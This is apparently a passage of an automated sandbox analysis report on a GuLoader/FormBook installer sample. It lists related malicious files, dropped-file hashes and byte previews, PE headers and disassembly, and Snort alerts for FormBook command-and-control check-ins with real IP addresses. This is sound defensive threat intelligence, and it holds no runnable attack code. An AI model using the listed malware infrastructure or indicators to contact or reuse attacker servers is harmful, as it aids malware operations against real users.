	i3Ez5MWMMn.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	Dd1WYc3BqS.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	kPmsRLc6yy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	T19FdueRyd.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	QTN74895.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	lista_e_re_e_porosive.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	Veekmvhuxdctye.exe	Get hash	malicious	DBatLoader, FormBook	Browse	23.227.38.74
	https://www.mercantile12.com	Get hash	malicious	Unknown	Browse	23.227.38.74
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.227.38.74
	BEFEHL_pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	23.227.38.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	tBZ__Qj9(778).cmd	Get hash	malicious	Unknown	Browse	154.49.137.194
	rFATURA_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.62.105.125
	XnzaLUMu87.elf	Get hash	malicious	Mirai	Browse	38.46.73.176
	xslkZA6KlB.elf	Get hash	malicious	Mirai	Browse	38.248.71.126
	0LDbD55ykS.elf	Get hash	malicious	Mirai	Browse	38.250.206.39
	sora.x86.elf	Get hash	malicious	Mirai	Browse	38.215.238.171
	RemittanceAdvice77721-04.pdf.htm	Get hash	malicious	Unknown	Browse	185.142.238.76
	11.ps1	Get hash	malicious	Unknown	Browse	154.49.137.194
	https://bit.ly/3NMAbRS	Get hash	malicious	Unknown	Browse	154.59.122.79
	https://bit.ly/3NMAbRS	Get hash	malicious	Unknown	Browse	154.59.122.79
	Q7aWDnGef4.elf	Get hash	malicious	Mirai	Browse	199.98.105.211
	YVkiI840eO.elf	Get hash	malicious	Mirai	Browse	66.28.136.99
	#U62db#U80588000#U007e10000#U6025#U62db#Uff01.exe	Get hash	malicious	Unknown	Browse	154.23.185.26
	#U62db#U80588000#U007e10000#U6025#U62db#Uff01.exe	Get hash	malicious	Unknown	Browse	154.23.185.26
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.55.227.206
	ri8W34Tw8D.elf	Get hash	malicious	Mirai	Browse	38.148.53.16
	kJbdvd98Yc.elf	Get hash	malicious	Mirai	Browse	149.103.6.240
	0pvUBDB2li.elf	Get hash	malicious	Mirai	Browse	23.154.10.215
	Vt6fHXLMZY.elf	Get hash	malicious	Mirai	Browse	38.41.213.95
	as27g715ub.elf	Get hash	malicious	Mirai	Browse	38.119.147.50
AS-COLOCROSSINGUS	LC_Draft_(LC_No._0687TF2314381580_Proforma_Invoice_No._04782023).xls	Get hash	malicious	GuLoader	Browse	192.3.118.24
	Shipping_Docs_INV_&_Packing_list_I3839.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168
	Notafiscal-NFI3713-Nota.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168
	NOTAFISCAL-NFI3713.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168
	AGNI_-BIO_ORDER_JULY.docx.doc	Get hash	malicious	DarkCloud, NSISDropper	Browse	107.175.202.150
	AGNI_-BIO_ORDER_JULY.docx.doc	Get hash	malicious	Unknown	Browse	107.175.202.150
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	172.245.92.116
	NEW_INVOICES.xls	Get hash	malicious	AgentTesla	Browse	172.245.191.101
	new_order_list.xls	Get hash	malicious	Unknown	Browse	192.3.109.162
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	new_order_list.xls	Get hash	malicious	Unknown	Browse	192.3.109.162
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	new_order_list.xls	Get hash	malicious	Unknown	Browse	192.3.109.162
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	788137PC.xls	Get hash	malicious	Unknown	Browse	192.3.243.146
	32307017.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168
	UG2cG1AZz4.elf	Get hash	malicious	Mirai	Browse	104.170.167.23
	sora.arm.elf	Get hash	malicious	Mirai	Browse	107.174.8.85

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll	7PeybECnmT.exe	Get hash	malicious	GuLoader	Browse
	1TrbkmWoWY.exe	Get hash	malicious	GuLoader	Browse
	Shipping_Docs_INV_&_Packing_list_I3839.xls	Get hash	malicious	GuLoader	Browse
	Notafiscal-NFI3713-Nota.xls	Get hash	malicious	GuLoader	Browse
	NOTAFISCAL-NFI3713.xls	Get hash	malicious	GuLoader	Browse
	CHI-TAK_ELECTRICAL_SDN_BHD_Pdf.exe	Get hash	malicious	GuLoader	Browse
	CHI-TAK_ELECTRICAL_SDN_BHD_Pdf.exe	Get hash	malicious	GuLoader	Browse
	32307017.xls	Get hash	malicious	GuLoader	Browse
	2023.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse
	2023.scr.exe	Get hash	malicious	GuLoader	Browse
	Ptt_TR546300000000000000000000000000000042023.scr.exe	Get hash	malicious	GuLoader	Browse
	Ptt_TR546300000000000000000000000000000042023.scr.exe	Get hash	malicious	GuLoader	Browse
	INTEREUROPA_d.o.o._Purchase_Order_#SPC-5788137-PC.scr.exe	Get hash	malicious	GuLoader	Browse
	INTEREUROPA_d.o.o._Purchase_Order_#SPC-5788137-PC.scr.exe	Get hash	malicious	GuLoader	Browse
	145.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse
	145.scr.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Variant.Tedy.369578.13910.4450.exe	Get hash	malicious	GuLoader, Remcos	Browse
	SecuriteInfo.com.Variant.Tedy.369578.13910.4450.exe	Get hash	malicious	GuLoader	Browse
	spian TS.scr	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\sOjxIU25DP.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 7PeybECnmT.exe, Detection: malicious, Browse Filename: 1TrbkmWoWY.exe, Detection: malicious, Browse Filename: Shipping_Docs_INV_&_Packing_list_I3839.xls, Detection: malicious, Browse Filename: Notafiscal-NFI3713-Nota.xls, Detection: malicious, Browse Filename: NOTAFISCAL-NFI3713.xls, Detection: malicious, Browse Filename: CHI-TAK_ELECTRICAL_SDN_BHD_Pdf.exe, Detection: malicious, Browse Filename: CHI-TAK_ELECTRICAL_SDN_BHD_Pdf.exe, Detection: malicious, Browse Filename: 32307017.xls, Detection: malicious, Browse Filename: 2023.scr.exe, Detection: malicious, Browse Filename: 2023.scr.exe, Detection: malicious, Browse Filename: Ptt_TR546300000000000000000000000000000042023.scr.exe, Detection: malicious, Browse Filename: Ptt_TR546300000000000000000000000000000042023.scr.exe, Detection: malicious, Browse Filename: INTEREUROPA_d.o.o._Purchase_Order_#SPC-5788137-PC.scr.exe, Detection: malicious, Browse Filename: INTEREUROPA_d.o.o._Purchase_Order_#SPC-5788137-PC.scr.exe, Detection: malicious, Browse Filename: 145.scr.exe, Detection: malicious, Browse Filename: 145.scr.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Tedy.369578.13910.4450.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Tedy.369578.13910.4450.exe, Detection: malicious, Browse Filename: spian TS.scr, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssC219.tmp

Download File

Process:	C:\Users\user\Desktop\sOjxIU25DP.exe
File Type:	data
Category:	dropped
Size (bytes):	284301
Entropy (8bit):	7.342918253406157
Encrypted:	false
SSDEEP:	6144:clRoREt5MGjXr1hK4JX5l95dd0pFTZ6wRCZ6t:eluMldu9Z6La
MD5:	C65A75D4CF6374D0F50DEFAC32627099
SHA1:	69180CF74CB1C7A3871AA998216FEDC8E05124B1
SHA-256:	97B3A284CC2C45D7136BBD3345DA267DA2D2274E85CDDAE05F72853DFD07C632
SHA-512:	D277B8B075553ECDB25A854C5553C2744FBED97C33C152D26236E97523D7713841F126EE9C354AF8A656171F9410E076814F1FECC67DC48086045B5954C8D05C
Malicious:	false
Preview:	.!......,...................u............ .......!..........................................................................................................................................................................................................................................J...W...........9...j...............................................................................................................................e.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\Skvvinklet.Ove39

Download File

Process:	C:\Users\user\Desktop\sOjxIU25DP.exe
File Type:	data
Category:	dropped
Size (bytes):	260292
Entropy (8bit):	7.430859825306605
Encrypted:	false
SSDEEP:	6144:uRoREt5MGjXr1hK4JX5l95dd0pFTZ6wRCV:WluMldu9Z6/
MD5:	21282FD8F9C3DF399EC2D6452FB06390
SHA1:	559C35ECA2E59CF23C043D9E7785C7BA13EC16D7
SHA-256:	9068903D704795C9C3ED819F0286CA4E3FF8323DB8699BF5CFCA539E7079C5BA
SHA-512:	CF43D5A2C1C8C5572FD5C9F458B8EAC3A03C27CC75CBC91C74F209E73693CD7AE6D7D5AFF2B9F3BA9928C6B5C49826D596779F1264E9566D43F05A306FF5CD5E
Malicious:	false
Preview:	............ee..........;............---.....S...^^^.....X..........ttttt.....11..`..........n............====......!.........u...RR...................................yy.............................Z........fff...........a....^..h.................??.M..@...........}}.t...................P..........................u.--.................O.......X..KK.......qqqq....@@.Q..G..d...................1.'.............q......>>... .......r...............O............ ...........N....xx...d............G...........DDD.AA......}...........''''....c.....^^^^^.GGGGGG..........z...............>.$$$$..]]]...........................V...........X...uuu....VV.........;...........y.@@............. .111...999999..SS...................^^...GGG....iii..1111....4.............................^^............N.22...........*.........J...........EEEEEEEE.OO.......@.........R.r..UU........................HHHHH.\|\|....tt......b.........H...??????.........<<<...............BB...........[.................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\affdende.smk

Download File

Process:	C:\Users\user\Desktop\sOjxIU25DP.exe
File Type:	data
Category:	dropped
Size (bytes):	1995
Entropy (8bit):	7.897616184198999
Encrypted:	false
SSDEEP:	48:0C1FZUbqn0HI+hoak0ZwOdKIyDYlkFUTBumd2/6tCq72:0C3wqoooZLy32e6tr2
MD5:	010204627A7C812E15EFE8AB5F010508
SHA1:	A1D00692FD2C5DF71E43879A6F6F4059D0CFE977
SHA-256:	85E0215615480BB4F1DFDB4369BE4D06BCDDCF264C41F4D7E229EC92909AEEC3
SHA-512:	B5E05E6ED7C48DC9A48DDAB0BC56D43CFA7D98A41C76020A7F7880D3BF77A7B69A5CD33164498A6A8D33ACDF3D596B9CC0E555EC27E2BB1C3FC7883F08F37C1E
Malicious:	false
Preview:	E...p.....e..1c.'...#.e\|....1......8..K.W..cX.E..cB-.?W.V....a..\...R.\|..J.S..^....:....5`.r].kigbS.y..E.^../.Z(.....z..h...T.X..........J.L.\|k.S..I\6t.Q~...W.;...l'.."...\.=.ov....R..{...(.0nkB~..o....tR.......48a.2..-..U..kC>0..........v.8&.I.A!....9c.6p.Q....&.a.l.KL.}..e8..L.:G..N#~.c.c..O.G..G.../C.^7............(..R._...od...!F...c..Gr.B.@B..HS..[C.....>hR.....GO.._.....{z..@....%......A.l..%.D...0....SZ..k`..P..(.q.6,."%d..B.&..e...f....(.&..'..JM.QG...{...!7.....[.)x...<.OB..#.......;.......XR.f\BE'N.......6....1J..T#....B..<b..6..Nl.o0<i..6B......A..K..a.z..o<..e]5..QZ9.t..aP....P^..+t..P.~.........uT....'.3k...C[...... .z...X.k@..Sy..Y.c8..K\.oY.7.].4P.1.c..z...'M1;.w.l..K.. .8.....I....)y........;.E.......t.5.."flD.JM...S.f....y......./.....s.YN.,.........6.8..."...C.I...8...{...}m!@.;.!..>.7..bf.RqP.N.G.p.0....Y.[..&;\;[...{>..b@..q.B..kQ..cM...\`;...o............ftOd.J.*8.!.H.Y.e...t..+.[.ho.\|xj.R...J9.q..,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide\morgenfruernes.teg

Download File

Process:	C:\Users\user\Desktop\sOjxIU25DP.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	1563
Entropy (8bit):	7.87473885312212
Encrypted:	false
SSDEEP:	24:rqEdqGHC2MnI92MeINQkMe3lrcud0GIJ/y3ODu6jECYo+Jq2a7jiXdhUUC:r/dHirlMeICkBl+J/y3aVtH+o20jiwUC
MD5:	320AF237C2A9EDD914DD130D4A50B52E
SHA1:	49B94E85DFE9C248F7486FC973F7CD6E650EE79D
SHA-256:	E893BD00790AEBC8D1D10D0850ED4298E21326458C9A07F7409AF9FCECB498C0
SHA-512:	83AF33EEBFE1B8349E4467603A461E7BA88A74C479F636F8D4273E72EFBC8F8ED5711A588864905D7A3ABF26CCA380238F27A969707E5873EE589410BE3992CF
Malicious:	false
Preview:	.kKw.....&V..:..C.................hl4.....W)..{....F.>&=`g.jaL.....n..K....Y.V...X.o..k..)..../Gn.q...f.#.Y.S.+."....w..c.g....HzG#.....vZ.K............yx..L;q.j0.8..../..>.eJ.6....Iwf.z..U.{d.#..........Z.W.........zZ1 .U.c5.-...5R.\...`.I..7..c.0.....c.S.wnrU....8d.h......E......06..Whe_...b..........N..8./..M<]...@...5I.z.B.u[.8....h..%CnL........-..N:....K<"=')....6o...`f.X.F.@..U#....,....%.%'?..-..}.x.v.)k...{.s...W .$c.w...........0.d.p..{}.7.'aw..(v...M.a\|z.q......r.s....Ar.\|"..o..'g?Q=u...0_.@.:Hl..E..r;[....W-<....M2&...0v..n......U.9.1..D.ez....y.%e..>ik.....d..J.:RZ4!.r....!.+...,B9D.L....,..0..'..R...............52ad..........K..+S+.=...9<.Ep.?./...bA0\|...b.6./&..J=.G^b3.D.>....j...jz2~...f..V8...f.2..hG@..j.&.\|w?n..u#...+.6kdx.Uv6!e?...Y.T5.b2~.B...y.:..!,..C.`<f?..._2.v.......G-....+d...Y<x...Q.`t.R]S....ZhHca.....4u..I.fu.9L...".....u.-.9...i.$......f....9...t...B@....}.3qd.....P...0o....1.K9>.Nm.)-...Q..,;.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.712053394637975
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sOjxIU25DP.exe
File size:	412'256 bytes
MD5:	caafec374594c5b93a986bc31df97f17
SHA1:	8c2e069e2f715e6172492e1009e64009dc8b2558
SHA256:	99db3b5192d77a3db297df19db4e486c3af98416b0c023720fa2f3e88d6086cf
SHA512:	7384cacada091dc29204c870e33e852d08e39185c09bf96dc1d228b843b368a4833a5912f50d21d5eeb3509dd260e9078f8b3fa868455c1e687c2ea9c2feb122
SSDEEP:	6144:NPXoDQpcUz+TfBDma1bXGBZnvjFh64S07Qfy6JdRpNWMv7PW62swd:NWDfhWBJjF6aezNWgPJ8
TLSH:	A394F11A3A51D667D2C10A70ACB9D7361BB07E283D91960337D1BFAF3E35BE5C50A1A0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG..sw..PG..VA..PG.Rich.PG.........PE..L.....$_.................d..........a4............@

File Icon


Icon Hash:	3386c6c4c4cccccc

Static PE Info

General

Entrypoint:	0x403461
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24D6E4 [Sat Aug 1 02:43:48 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ea4e67a31ace1a72683a99b80cf37830

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Gullishly@Itza.Cow, OU="Rettefaciliteter Skibsrederierne ", O=Diminutional, L=Ludwigshafen am Rhein, S=Rheinland-Pfalz, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	12/10/2022 11:55:01 11/10/2025 11:55:01
Subject Chain	E=Gullishly@Itza.Cow, OU="Rettefaciliteter Skibsrederierne ", O=Diminutional, L=Ludwigshafen am Rhein, S=Rheinland-Pfalz, C=DE
Version:	3
Thumbprint MD5:	3EDD2CC1C25F9CE78AE81306770E65BA
Thumbprint SHA-1:	8CA128FF29924CF19B9FBF00E61DD1E1BCC596C6
Thumbprint SHA-256:	EDAF84391890FF118F87BD6830D990B864693B42B03FF694EB6383B3313F49CC
Serial:	016BB2B6F023DF7F429156C3875AE069C95A24EE

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 0040A130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004080B0h]
call dword ptr [004080C0h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042474Ch], eax
je 00007F46085FE633h
push ebx
call 00007F46086017AEh
cmp eax, ebx
je 00007F46085FE629h
push 00000C00h
call eax
mov esi, 004082A0h
push esi
call 00007F460860172Ah
push esi
call dword ptr [004080B8h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F46085FE60Dh
push 0000000Bh
call 00007F4608601782h
push 00000009h
call 00007F460860177Bh
push 00000007h
mov dword ptr [00424744h], eax
call 00007F460860176Fh
cmp eax, ebx
je 00007F46085FE631h
push 0000001Eh
call eax
test eax, eax
je 00007F46085FE629h
or byte ptr [0042474Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408288h]
mov dword ptr [00424818h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041FD10h
call dword ptr [0040816Ch]
push 0040A1ECh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8438	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x35000	0x27808	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x64030	0xa30
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x29c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x623c	0x6400	False	0.65859375	data	6.402577053244006	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1274	0x1400	False	0.43359375	data	5.057495983243599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1a858	0x600	False	0.4459635416666667	data	4.089750015087595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x35000	0x27808	0x27a00	False	0.29155165615141954	data	3.8431517996366296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x352e0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.2522181474032888
RT_ICON	0x45b08	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.29117616144628966
RT_ICON	0x4efb0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.327449168207024
RT_ICON	0x54438	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.34913793103448276
RT_ICON	0x58660	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3693983402489627
RT_ICON	0x5ac08	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.42612570356472795
RT_ICON	0x5bcb0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5177304964539007
RT_DIALOG	0x5c118	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5c218	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5c338	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5c400	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5c460	0x68	data	English	United States	0.7596153846153846
RT_MANIFEST	0x5c4c8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, SetFileSecurityA, RegOpenKeyExA, RegEnumValueA
SHELL32.dll	SHGetFileInfoA, SHFileOperationA, SHGetPathFromIDListA, ShellExecuteExA, SHGetSpecialFolderLocation, SHBrowseForFolderA
ole32.dll	IIDFromString, OleInitialize, OleUninitialize, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	SetClipboardData, CharPrevA, CallWindowProcA, PeekMessageA, DispatchMessageA, MessageBoxIndirectA, GetDlgItemTextA, SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, TrackPopupMenu, FillRect, EmptyClipboard, LoadCursorA, GetMessagePos, CheckDlgButton, GetSysColor, SetCursor, GetWindowLongA, SetClassLongA, SetWindowPos, IsWindowEnabled, GetWindowRect, GetSystemMenu, EnableMenuItem, RegisterClassA, ScreenToClient, EndDialog, GetClassInfoA, SystemParametersInfoA, CreateWindowExA, ExitWindowsEx, DialogBoxParamA, CharNextA, SetTimer, DestroyWindow, CreateDialogParamA, SetForegroundWindow, SetWindowTextA, PostQuitMessage, SendMessageTimeoutA, ShowWindow, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, GetDC, SetWindowLongA, LoadImageA, InvalidateRect, ReleaseDC, EnableWindow, BeginPaint, SendMessageA, DefWindowProcA, DrawTextA, GetClientRect, EndPaint, IsWindowVisible, CloseClipboard, OpenClipboard
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectA, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetProcAddress, GetSystemDirectoryA, WideCharToMultiByte, MoveFileExA, GetTempFileNameA, RemoveDirectoryA, WriteFile, CreateDirectoryA, GetLastError, CreateProcessA, GlobalLock, GlobalUnlock, CreateThread, lstrcpynA, SetErrorMode, GetDiskFreeSpaceA, lstrlenA, GetCommandLineA, GetVersion, GetWindowsDirectoryA, SetEnvironmentVariableA, GetTempPathA, CopyFileA, GetCurrentProcess, ExitProcess, GetModuleFileNameA, GetFileSize, ReadFile, GetTickCount, Sleep, CreateFileA, GetFileAttributesA, SetCurrentDirectoryA, SetFileAttributesA, GetFullPathNameA, GetShortPathNameA, MoveFileA, CompareFileTime, SetFileTime, SearchPathA, lstrcmpiA, lstrcmpA, CloseHandle, GlobalFree, GlobalAlloc, ExpandEnvironmentStringsA, LoadLibraryExA, FreeLibrary, lstrcpyA, lstrcatA, FindClose, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, GetModuleHandleA, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.2074.208.236.7550124802031412 07/18/23-09:54:34.975194	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	50124	80	192.168.11.20	74.208.236.75
192.168.11.20192.3.26.16850106802018752 07/18/23-09:48:01.645822	TCP	2018752	ET TROJAN Generic .bin download from Dotted Quad	50106	80	192.168.11.20	192.3.26.168
192.168.11.2034.102.136.18050118802031412 07/18/23-09:53:12.769100	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	50118	80	192.168.11.20	34.102.136.180
192.168.11.20150.95.255.3850111802031412 07/18/23-09:50:51.189558	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	50111	80	192.168.11.20	150.95.255.38
192.168.11.2034.102.136.18050125802031412 07/18/23-09:54:55.383279	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	50125	80	192.168.11.20	34.102.136.180
192.168.11.20104.208.72.13550117802031412 07/18/23-09:52:54.412967	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	50117	80	192.168.11.20	104.208.72.135

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 09:48:01.534837961 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.645107031 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.645302057 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.645822048 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759258032 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759331942 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759432077 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759495974 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759551048 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759603977 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759634972 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759634972 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759634972 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759660006 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759716034 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759769917 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.759809017 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759809017 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759809017 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759809017 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.759824991 CEST	80	50106	192.3.26.168	192.168.11.20
